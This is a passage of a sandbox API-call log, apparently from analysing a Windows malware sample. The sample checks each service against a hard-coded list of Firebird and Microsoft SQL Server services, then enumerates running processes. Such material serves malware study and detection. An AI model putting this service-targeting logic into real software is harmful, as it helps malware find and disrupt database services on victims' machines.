lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0196.504] lstrlenW (lpString="CDPSvc") returned 6 [0196.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0196.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0196.505] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0196.505] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0196.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0196.505] lstrlenW (lpString="ClickToRunSvc") returned 13 [0196.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0196.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0196.505] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0196.505] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0196.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0196.505] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0196.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0196.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0196.505] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0196.505] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0196.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0196.505] lstrlenW (lpString="CryptSvc") returned 8 [0196.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0196.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0196.505] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0196.505] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0196.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0196.505] lstrlenW (lpString="DcomLaunch") returned 10 [0196.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0196.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0196.506] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0196.506] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0196.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0196.506] lstrlenW (lpString="DeviceAssociationService") returned 24 [0196.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0196.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0196.506] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0196.506] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0196.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0196.506] lstrlenW (lpString="Dhcp") returned 4 [0196.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0196.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0196.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0196.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0196.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0196.506] lstrlenW (lpString="Dnscache") returned 8 [0196.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0196.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0196.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0196.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0196.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0196.507] lstrlenW (lpString="DPS") returned 3 [0196.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0196.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0196.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0196.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0196.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0196.507] lstrlenW (lpString="DusmSvc") returned 7 [0196.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0196.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0196.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0196.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0196.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0196.507] lstrlenW (lpString="EventLog") returned 8 [0196.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0196.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0196.507] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0196.507] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0196.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0196.507] lstrlenW (lpString="EventSystem") returned 11 [0196.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0196.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0196.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0196.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0196.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0196.508] lstrlenW (lpString="FontCache") returned 9 [0196.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0196.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0196.508] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0196.508] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0196.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0196.508] lstrlenW (lpString="gpsvc") returned 5 [0196.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0196.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0196.508] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0196.508] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0196.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0196.508] lstrlenW (lpString="iphlpsvc") returned 8 [0196.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0196.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0196.508] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0196.508] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0196.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0196.508] lstrlenW (lpString="KeyIso") returned 6 [0196.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0196.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0196.509] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0196.509] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0196.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0196.509] lstrlenW (lpString="LanmanServer") returned 12 [0196.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0196.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0196.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0196.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0196.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0196.509] lstrlenW (lpString="LanmanWorkstation") returned 17 [0196.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0196.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0196.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0196.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0196.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0196.509] lstrlenW (lpString="lfsvc") returned 5 [0196.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0196.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0196.509] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0196.509] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0196.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0196.509] lstrlenW (lpString="lmhosts") returned 7 [0196.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0196.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0196.510] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0196.510] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0196.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0196.510] lstrlenW (lpString="LSM") returned 3 [0196.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0196.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0196.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0196.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0196.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0196.510] lstrlenW (lpString="MpsSvc") returned 6 [0196.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0196.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0196.510] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0196.510] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0196.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0196.510] lstrlenW (lpString="NcbService") returned 10 [0196.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0196.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0196.510] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0196.510] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0196.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0196.510] lstrlenW (lpString="netprofm") returned 8 [0196.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0196.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0196.511] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0196.511] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0196.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0196.511] lstrlenW (lpString="NgcSvc") returned 6 [0196.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0196.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0196.511] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0196.511] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0196.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0196.511] lstrlenW (lpString="NlaSvc") returned 6 [0196.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0196.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0196.511] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0196.511] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0196.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0196.511] lstrlenW (lpString="nsi") returned 3 [0196.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0196.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0196.511] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0196.511] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0196.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0196.511] lstrlenW (lpString="PcaSvc") returned 6 [0196.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0196.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0196.511] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0196.512] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0196.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0196.512] lstrlenW (lpString="PlugPlay") returned 8 [0196.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0196.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0196.512] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0196.512] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0196.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0196.512] lstrlenW (lpString="Power") returned 5 [0196.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0196.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0196.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0196.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0196.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0196.512] lstrlenW (lpString="ProfSvc") returned 7 [0196.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0196.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0196.512] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0196.512] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0196.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0196.512] lstrlenW (lpString="RpcEptMapper") returned 12 [0196.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0196.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0196.512] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0196.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0196.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0196.513] lstrlenW (lpString="RpcSs") returned 5 [0196.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0196.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0196.513] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0196.513] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0196.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0196.513] lstrlenW (lpString="SamSs") returned 5 [0196.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0196.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0196.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0196.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0196.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0196.513] lstrlenW (lpString="Schedule") returned 8 [0196.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0196.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0196.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0196.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0196.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0196.513] lstrlenW (lpString="SecurityHealthService") returned 21 [0196.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0196.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0196.513] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0196.513] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0196.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0196.514] lstrlenW (lpString="SENS") returned 4 [0196.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0196.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0196.514] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0196.514] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0196.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0196.514] lstrlenW (lpString="ShellHWDetection") returned 16 [0196.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0196.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0196.514] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0196.514] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0196.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0196.514] lstrlenW (lpString="Spooler") returned 7 [0196.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0196.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0196.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0196.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0196.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0196.514] lstrlenW (lpString="StateRepository") returned 15 [0196.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0196.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0196.515] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0196.515] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0196.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0196.515] lstrlenW (lpString="SysMain") returned 7 [0196.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0196.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0196.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0196.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0196.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0196.515] lstrlenW (lpString="SystemEventsBroker") returned 18 [0196.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0196.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0196.515] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0196.515] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0196.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0196.515] lstrlenW (lpString="Themes") returned 6 [0196.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0196.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0196.515] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0196.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0196.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0196.515] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0196.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0196.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0196.516] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0196.516] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0196.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4663fc0 | out: hHeap=0x710000) returned 1 [0196.516] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528 [0196.825] Process32FirstW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.826] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0196.826] lstrlenW (lpString="System") returned 6 [0196.827] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0196.828] lstrlenW (lpString="smss.exe") returned 8 [0196.828] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.829] lstrlenW (lpString="csrss.exe") returned 9 [0196.829] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0196.830] lstrlenW (lpString="wininit.exe") returned 11 [0196.830] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.830] lstrlenW (lpString="csrss.exe") returned 9 [0196.831] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0196.831] lstrlenW (lpString="winlogon.exe") returned 12 [0196.832] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0196.832] lstrlenW (lpString="services.exe") returned 12 [0196.833] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0196.833] lstrlenW (lpString="lsass.exe") returned 9 [0196.833] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.847] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.848] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.849] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.849] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.850] lstrlenW (lpString="svchost.exe") returned 11 [0196.850] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.851] lstrlenW (lpString="svchost.exe") returned 11 [0196.851] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0196.852] lstrlenW (lpString="dwm.exe") returned 7 [0196.852] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.853] lstrlenW (lpString="svchost.exe") returned 11 [0196.853] Process32NextW (in: 